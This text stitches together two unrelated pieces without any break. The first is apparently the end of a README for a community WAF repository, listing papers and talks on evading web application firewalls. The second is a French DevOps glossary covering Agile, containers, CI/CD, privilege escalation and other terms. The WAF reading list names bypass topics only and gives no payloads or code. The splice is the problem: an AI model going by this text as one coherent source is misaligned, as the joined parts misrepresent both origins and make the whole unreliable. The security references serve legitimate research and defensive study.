 WASC WAF Evaluation Criteria - A guide for WAF Evaluation from Web Application Security Consortium . 
 
 WAF Evaluation and Analysis - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from University of Amsterdam . 
 
 Bypassing all WAF XSS Filters - A paper about bypassing all XSS filter rules and evading WAFs for XSS. 
 
 Beyond SQLi - Obfuscate and Bypass WAFs - A research paper from Exploit Database about obfuscating SQL injection queries to effectively bypass WAFs. 
 
 Bypassing WAF XSS Detection Mechanisms - A research paper about bypassing XSS detection mechanisms in WAFs. 
 
 Presentations: 
 
 
 Methods to Bypass a Web Application Firewall - A presentation from PT Security about bypassing WAF filters and evasion. 
 
 Web Application Firewall Bypassing (How to Defeat the Blue Team) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by @OWASP . 
 
 WAF Profiling & Evasion Techniques - A WAF testing and evasion guide from OWASP . 
 
 Protocol Level WAF Evasion Techniques - A presentation at about efficiently evading WAFs at protocol level from BlackHat US 12 . 
 
 Analysing Attacking Detection Logic Mechanisms - A presentation about WAF logic applied to detecting attacks from BlackHat US 16 . 
 
 WAF Bypasses and PHP Exploits - A presentation about evading WAFs and developing related PHP exploits. 
 
 Side Channel Attacks for Fingerprinting WAF Filter Rules - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12 . 
 
 Our Favorite XSS Filters/IDS and how to Attack Them - A presentation about how to evade XSS filters set by WAF rules from BlackHat USA 09 . 
 
 Playing Around with WAFs - A small presentation about WAF profiling and playing around with them from Defcon 16 . 
 
 A Forgotten HTTP Invisibility Cloak - A presentation about techniques that can be used to bypass common WAFs from BSides Manchester . 
 
 Building Your Own WAF as a Service and Forgetting about False Positives - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency Auscert2019 . 
 
 Credits & License: 
 Initial fingerprint compilation and bypasses were put together by Pinaki (0xInfection) , but now it largely remains as a community supported repository. Awesome-WAF is licensed under the Apache 2.0 License .

Glossaire DevOps
Agile 

 Un framework agile une structure méthodologique qui fournit des lignes directrices, des pratiques, et des processus pour aider les équipes à organiser, planifier, exécuter et suivre leur travail de manière itérative et collaborative. Ce développement itératif découpe un projet en sous-projets pour lesquels, on se fixe des objectifs à court termes atteignables. Ces sous-projets sont appelés des sprints et sont de courtes durées. 

 Le but d’un framework agile est de livrer rapidement au client une première version du produit qui correspond à ses besoins, qui évoluera ensuite au fil des versions. 

 Framework agiles : Scrum, eXtrem Programming, … 

 Air Gap 

 “Air Gap” (littéralement « coupure d’air ») est une mesure de sécurité dans laquelle un ordinateur ou un réseau est isolé physiquement de tout autre réseau, y compris Internet. Cette isolation est souvent réalisée en s’assurant qu’aucune connexion physique ou sans fil ne relie l’ordinateur ou le réseau en question à des systèmes externes. L’idée est de protéger les données et les systèmes contre les accès non autorisés, les cyberattaques et les logiciels malveillants en éliminant toute voie d’accès directe. 

 Artefacts 

 Les artefacts sont des éléments générés lors du processus d’intégration continue à partir d’un code source. Il peut être composé de bibliothèques, de fichiers de configuration, d’exécutables, de fichiers de documentation, etc. 

 Adresse IP 

 Les adresses IP sont des identifiants numériques attribués aux dispositifs connectés à un réseau, leur permettant de communiquer entre eux sur Internet ou au sein d’un réseau local. 

 API 

 Une API, ou Interface de Programmation d’Applications (Application Programming Interface), est un ensemble de règles et de protocoles pour la construction et l’interaction de logiciels. Elle permet à différents programmes ou composants logiciels de communiquer entre eux. Une API définit la manière dont les fonctions d’un programme peuvent être utilisées par d’autres programmes, facilitant ainsi leur intégration et leur interaction sans avoir besoin de connaître les détails de leur mise en œuvre interne. Cela rend les processus de développement plus rapides et plus flexibles, permettant aux développeurs de créer des applications complexes et interconnectées. 

 Automatisation 

 Fonctionnement d’un système sans intervention humaine, automatisation d’une suite d’opération. Elle peut être faîte via l’utilisation de scripts et/ou d’outils qui vont permettre de réduire la charge de travail manuelle et accélérer les tâches répétitives. Autre avantage, elle limite la part des incidents dus à des erreurs humaines. 

 Build 

 Le build est la phase appelée aussi intégration. Elle consiste à assembler le code des développeurs avec toutes ses dépendances afin de fournir un livrable de l’application. Dans cette phase, on retrouve, l’analyse du code (lint), les tests unitaires et la compilation. 

 CaaS 

 CaaS, ou Container as a Service, est un modèle de service cloud qui permet aux utilisateurs de télécharger, organiser, exécuter, échelonner, gérer et arrêter des conteneurs en utilisant une plateforme d’hébergement basée sur le cloud. 

 Campagne de patchs 

 Une campagne de patch est un processus visant à appliquer des correctifs (patches) améliorant la sécurité et la stabilité à un ensemble de systèmes, de logiciels ou d’infrastructures informatiques de manière coordonnée. Ces correctifs sont conçus pour résoudre des failles de sécurité, des bogues ou pour améliorer les performances d’un logiciel ou d’un système. 

 CI/CD 

 CI/CD (Continuous Integration / Continuous Deployment) : Pratiques visant à automatiser le processus d’intégration, de test et de déploiement pour livrer rapidement et régulièrement des mises à jour logicielles. 

 CLI 

 Une CLI, ou Command Line Interface (Interface en Ligne de Commande), est une interface utilisateur qui permet aux utilisateurs d’interagir avec un logiciel ou un système d’exploitation en tapant des commandes textuelles dans un terminal ou une console. 

 Cloud 

 Le cloud fait référence à la fourniture de services informatiques tels que le stockage, le calcul, les bases de données, la mise en réseau, l’analyse, etc., via Internet. Plutôt que de posséder et de gérer physiquement des serveurs et des infrastructures informatiques, les entreprises et les individus peuvent accéder à ces ressources à partir de serveurs distants exploités par des fournisseurs de cloud publics . 

 Cloud Hybride 

 Un cloud hybride est un environnement informatique qui combine à la fois des ressources de cloud public et de cloud privé , permettant aux données et aux applications de s’exécuter de manière transparente entre les deux. Concrètement, cela signifie que les entreprises peuvent déployer des applications et des données à la fois sur des serveurs et des infrastructures internes (cloud privé) et sur des ressources de cloud public, le tout dans un environnement cohérent. 

 Cluster 

 Un cluster est un groupe de machines (nœuds) interconnectées qui travaillent ensemble pour exécuter des applications conteneurisées. Dans le cadre de Kubernetes, un cluster est constitué d’un plan de contrôle (control plane) et de plusieurs nœuds de travail. Les clusters offrent une haute disponibilité et une scalabilité en répartissant les charges de travail sur plusieurs machines. 

 CMP 

 Une CMP (Cloud Management Platform) désigne une plateforme logicielle conçue pour gérer et orchestrer les ressources, services et opérations dans un environnement cloud. 

 Conteneurs / Conteneurisation 

 Un conteneur est une unité d’exécution autonome qui regroupe une application, ses dépendances logicielles et toutes les ressources nécessaires à son exécution, y compris des bibliothèques, des fichiers de configuration et des variables d’environnement. Les conteneurs sont conçus pour isoler une application et son environnement de manière à ce qu’elle puisse être déployée et exécutée de manière cohérente. Cette technologie permet de porter une application sur n’importe quel serveur, local ou dans le cloud, à la seule condition de posséder la même architecture et la même famille de système d’exploitation. 

 CRD (Custom Resource Definition) 

 Une CRD permet de définir des ressources personnalisées dans Kubernetes. Cela permet aux utilisateurs d’étendre les fonctionnalités de Kubernetes en ajoutant de nouveaux types d’objets spécifiques à leurs besoins. 

 Déclaratif vs Impératif 

 Dans une approche déclarative , le code de configuration décrit l’état dans lequel l’environnement de production doit se trouver, sans prendre en compte les étapes pour y arriver. Le système fait en sorte que l’infrastructure atteigne l’état désiré. 

 Dans une approche impérative , le fichier de configuration définit les commandes et les étapes nécessaires pour que l’environnement parvienne à l’état désiré. Le système réalise les commandes indiquées. Exemple : Ansible 

 Déploiement Blue-Green 

 Une méthode de déploiement qui permet de basculer en douceur entre deux environnements (bleu et vert) pour minimiser les interruptions de service. 

 Déploiement Continu 

 Déploiement ou livraison continue est une méthode de développement de logiciels dans le cadre de laquelle les modifications de code sont automatiquement préparées en vue de leur publication dans un environnement de production. La livraison continue étend le principe de l’intégration continue en déployant tous les changements de code dans un environnement de test et/ou de production après l’étape de création. Lorsque la livraison continue est correctement implémentée, les développeurs disposent en permanence d’un artefact de génération prêt pour le déploiement qui a été soumis avec succès à un processus de test standardisé. 

 Dette Technique 

 La dette technique est une métaphore utilisée pour décrire le coût caché associé au retard ou à la négligence des bonnes pratiques de développement, de maintenance et de gestion des systèmes informatiques. Cela se produit lorsque des raccourcis, des compromis ou des décisions techniques inadéquates sont pris pour accélérer le développement d’un logiciel ou pour répondre à des échéances serrées. La dette technique est le reflet des conséquences négatives de ces choix à long terme. 

 DevSecOps 

 Intégration de la sécurité dans les pipelines CI/CD dès le début du développement. 

 Edge Computing 

 Le Edge Computing est une architecture informatique décentralisée qui rapproche les ressources de calcul et de traitement des données des périphériques ou des utilisateurs finaux. Cette approche est couramment utilisée pour réduire la latence et la consommation de bande passante dans des environnements distribués comme l’IoT ou les systèmes connectés. 

 Élasticité 

 L’élasticité est la capacité d’un système informatique d’ajuster dynamiquement les ressources (comme la puissance de calcul, la mémoire, le stockage, etc.) en fonction de la demande des utilisateurs. 

 Élévation de privilèges 

 L’élévation de privilèges (ou privilege escalation en anglais) fait référence au processus par lequel un utilisateur ou un processus tente d’acquérir des privilèges ou des autorisations supplémentaires au sein d’un système informatique, lui permettant ainsi d’exécuter des actions pour lesquelles il n’avait pas initialement les droits. 

 L’élévation de privilèges est également un sujet important dans le domaine de la sécurité informatique, car les vulnérabilités qui permettent une élévation de privilèges peuvent être exploitées pour compromettre la sécurité d’un système. Les correctifs de sécurité sont souvent publiés pour corriger de telles vulnérabilités et empêcher les attaquants d’acquérir des privilèges non autorisés. 

 Gestion des configurations 

 La gestion de configuration est un concept fondamental dans l’administration des systèmes et des infrastructures informatiques. Elle englobe l’ensemble des processus et des outils utilisés pour définir, mettre en place, surveiller et maintenir les configurations, qu’il s’agisse de serveurs, de postes de travail, de logiciels ou d’équipements réseaux. 

 Gestionnaire de Contrôle de version 

 Un gestionnaire de contrôle de version, également appelé logiciel de gestion de version ou système de contrôle de version (VCS), est un outil informatique qui permet de suivre et de gérer les modifications apportées à un ensemble de fichiers au fil du temps. Son principal objectif est de faciliter la collaboration entre plusieurs personnes travaillant sur un même projet informatique, que ce soit un logiciel, un site web, une documentation. Le plus utilisé actuellement s’appelle Git. 

 Gestion des secrets 

 La gestion des secrets désigne la pratique permettant de gérer de manière sécurisée les informations sensibles, telles que les mots de passe, les clés d’authentification, les jetons d’accès, les clés de chiffrement et d’autres données confidentielles, utilisées dans les applications, les systèmes et les infrastructures informatiques. 

 Cette pratique est essentielle pour garantir la sécurité des systèmes d’informations, car toute faille dans la protection de ces données pourrait entraîner des violations de sécurité, des accès non autorisés, des pertes de données… 

 Haute Disponibilité 

 La haute disponibilité (HA) est un concept en informatique qui se réfère à la capacité d’un système, d’une application ou d’un service à rester opérationnel et accessible pendant une période de temps prolongée, généralement 24 heures sur 24 et 7 jours sur 7. L’objectif de la haute disponibilité est de minimiser les temps d’arrêt non planifiés, d’assurer la continuité des opérations et de garantir que les utilisateurs finaux puissent accéder aux ressources informatiques sans interruption notable. 

 Pour atteindre un haut niveau de disponibilité, les organisations mettent en place des architectures redondantes, des clusters, des systèmes de basculement et des tests rigoureux de continuité des opérations. Cela garantit que les systèmes restent opérationnels même en cas de défaillance matérielle, de coupures d’électricité, de catastrophes naturelles ou de cyberattaques. 

 Helm 

 Helm est un gestionnaire de packages pour Kubernetes. Il permet de simplifier l’installation, la gestion et la mise à jour des applications Kubernetes en utilisant des charts (modèles de déploiement). Helm est particulièrement utile pour déployer des applications complexes avec des dépendances multiples. 

 IAAS 

 IaaS est l’acronyme de “Infrastructure as a Service”, qui se traduit en français par “Infrastructure en tant que Service”. Il s’agit d’un modèle de cloud qui aux utilisateurs de provisionner des ressources d’infrastructures informatiques sous forme de services. 

 Idempotence 

 En algèbre, l’ idempotence est la propriété d’une opération, d’avoir le même effet qu’on l’applique une ou plusieurs fois. Par exemple, la valeur absolue est idempotente : abs(abs(−5)) = abs(−5), les deux membres étant égaux à 5. 

 En programmation une fonction est idempotente si l’état du système reste le même après un ou plusieurs appels. 

 Infrastructure as Code 

 L’infrastructure en tant que code (Infrastructure as Code) est une infrastructure informatique virtuelle qui est créée, configurée et approvisionnée automatiquement via du code informatique. 

 Intégration Continue 

 CI ou intégration continue est une méthode de développement avec laquelle les développeurs intègrent régulièrement leurs modifications de code à un référentiel centralisé, suite à quoi des opérations de création et de tests sont automatiquement menés. L’intégration continue désigne souvent l’étape de création ou d’intégration du processus de publication de logiciel et implique un aspect automatisé. Les principaux objectifs de l’intégration continue sont de trouver et de corriger plus rapidement les bogues, d’améliorer la qualité des logiciels et de réduire le temps nécessaire pour valider et publier de nouvelles mises à jour de logiciels. 

 IPAM 

 IPAM, acronyme de “IP Address Management” (Gestion des adresses IP en français), est un ensemble de pratiques, de techniques et d’outils utilisés pour planifier, gérer et suivre les adresses IP (Internet Protocol) au sein d’un réseau informatique. 

 Load balancing ou équilibrage de charge 

 Un équilibrage de charge, en anglais “load balancer”, est un composant matériel ou logiciel utilisé dans les environnements informatiques pour distribuer le trafic réseau entrant de manière équilibrée entre plusieurs serveurs ou ressources, afin d’optimiser les performances, la fiabilité et la disponibilité des systèmes. 

 Microservices vs Monolithe 

 Une architecture microservices est une architecture logicielle basée sur de petits services autonomes qui peuvent être développés, déployés et évolués indépendamment. Cette architecture s’appuie sur des orchestrateurs de conteneurs. 

 Un monolithe est une architecture logicielle où l’ensemble de l’application est conçu et construit comme une seule entité monolithique. Cela signifie que toutes les fonctionnalités, les composants et les parties de l’application sont regroupés en un seul code source, une seule base de données et un seul exécutable. 

 Mutabilité vs Immutabilité 

 Immutabilité : Caractère de ce qui ne peut changer . 

 Une infrastructure mutable est un système qui évolue de manière incrémentale et donc mise à jour de manière continue. L’état de l’infrastructure est le résultat d’une accumulation d’opérations pouvant être pour certaines manuelles. 

 Par contre, une infrastructure immutable est un système qui n’est jamais modifié après son déploiement. Ce système devra en conséquence avoir le moins de mutation possible, voire aucune. 

 Par exemple, pour construire des images de VM immutables, vous pouvez utiliser Packer d’ HashiCorp pour ensuite les enregistrer en les versionnant dans votre gestionnaire d’Artéfacts. 

 NOC 

 Un NOC (Network Operations Center) est un centre opérationnel chargé de surveiller, gérer et maintenir un réseau informatique ou de télécommunications. Les équipes du NOC supervisent les performances du réseau, détectent et résolvent les problèmes et effectuent la maintenance préventive pour assurer le bon fonctionnement continu du réseau. 

 Observabilité 

 L’ observabilité est la capacité de surveiller, d’analyser et de comprendre l’état interne d’un système informatique en temps réel. Elle repose sur trois piliers principaux : les logs, les métriques et les traces. Des outils comme Prometheus et Grafana sont souvent utilisés pour l’observabilité. 

 Orchestration 

 L’orchestration est un processus automatique de gestion d’un système informatique. 

 RPO 

 Recovery Point Objective (RPO) fait généralement référence à la quantité de données qui peuvent être perdues au cours de la période la plus opportune pour une entreprise, avant qu’un préjudice important ne se produise, à partir d’un événement critique jusqu’à la sauvegarde la plus précédente. 

 RTO 

 Recovery Time Objective (RTO) fait référence au temps pendant lequel une application, un système et/ou un processus peut être en panne sans causer de dommages importants à l’entreprise, ainsi qu’au temps passé à restaurer l’application et ses données. 

 PAAS 

 PaaS, ou “Platform as a Service” en anglais, se traduit en français par “Plateforme en tant que Service”. C’est un modèle de cloud qui fournit une plateforme de développement et d’exécution d’applications sur le cloud. Ces services vont permettre aux développeurs de créer, déployer et gérer des applications sans se soucier de la gestion de l’infrastructure sous-jacente. 

 Provisioning ou Provisionnement 

 Le provisioning est un processus d’allocation automatique de ressources informatiques. 

 SAAS 

 SaaS, ou “Software as a Service” en anglais, se traduit en français “logiciel en tant que service”. C’est un modèle de distribution de logiciels dans lequel les applications sont hébergées et accessibles en ligne par le biais d’un fournisseur de services cloud. Au lieu d’installer et de gérer des logiciels localement sur un ordinateur ou un serveur, les utilisateurs peuvent accéder à ces applications via Internet, généralement à partir d’un navigateur web. 

 Scrum 

 Un framework de gestion de projet Agile. 

 Serverless 

 Le Serverless est un modèle de déploiement dans lequel les développeurs n’ont pas à gérer l’infrastructure sous-jacente. Les fournisseurs cloud allouent dynamiquement les ressources nécessaires à l’exécution d’une application. Les exemples incluent AWS Lambda , Google Cloud Functions , et Azure Functions . 

 Service Mesh 

 Un Service Mesh est une infrastructure dédiée à la gestion des communications entre microservices. Il fournit des fonctionnalités comme le load balancing , la gestion des échecs, le monitoring, et la sécurisation des connexions via des proxies. Les outils populaires incluent Istio et Linkerd . 

 SLA/SLO/SLI 

 

 SLA (Service Level Agreement) : Contrat définissant les attentes en termes de niveaux de service. 

 SLO (Service Level Objective) : Objectifs précis liés aux niveaux de performance d’un service (ex. : disponibilité à 99,9 %). 

 SLI (Service Level Indicator) : Indicateur qui mesure un aspect de la performance, comme le temps de réponse ou le taux d’erreur. 

 

 SOC 

 Un SOC (Security Operations Center) est similaire, mais se concentre spécifiquement sur la sécurité informatique. Les équipes d’un SOC surveillent les menaces potentielles, détectent les activités suspectes, répondent aux incidents de sécurité et mettent en œuvre des mesures de défense pour protéger les systèmes informatiques et les données contre les cyberattaques. 

 Supervision 

 La supervision est un processus de surveillance et de gestion des systèmes informatiques, des réseaux, des serveurs, des applications et d’autres composants de l’infrastructure informatique. Elle vise à garantir que ces systèmes fonctionnent de manière fiable, sécurisée et efficace. La supervision informatique peut être effectuée à l’aide de logiciels spécialisés qui collectent des données en temps réel sur les performances et l’état des équipements informatiques. 

 Virtualisation 

 La virtualisation est une technologie qui permet de créer des versions virtuelles de tous éléments d’une infrastructure informatique comme des serveurs, des équipements réseaux ou d’autres entités informatiques. Elle vise à isoler et à abstraire ces éléments pour les rendre indépendants des ressources physiques sous-jacentes, ce qui permet une utilisation plus efficace et flexible de ces ressources. 

 Elle est couramment utilisée dans des domaines tels que la virtualisation de serveur, la virtualisation de stockage, la virtualisation de réseau, la virtualisation de bureau et plus encore. 

 Vulnérabilité 

 Une vulnérabilité est une faiblesse du code qui introduit ce qu’on appelle une faille de sécurité. Ces failles peuvent être présentes dans un système d’exploitation, un logiciel, un équipement de réseau ou un processus. Elles peuvent être exploitées par des acteurs malveillants pour causer un dommage, un accès non autorisé, des pertes de données, ou d’autres problèmes de sécurité. 

 Pour détecter la présence des vulnérabilités, on fait appel à des outils d’analyse de code et de détection.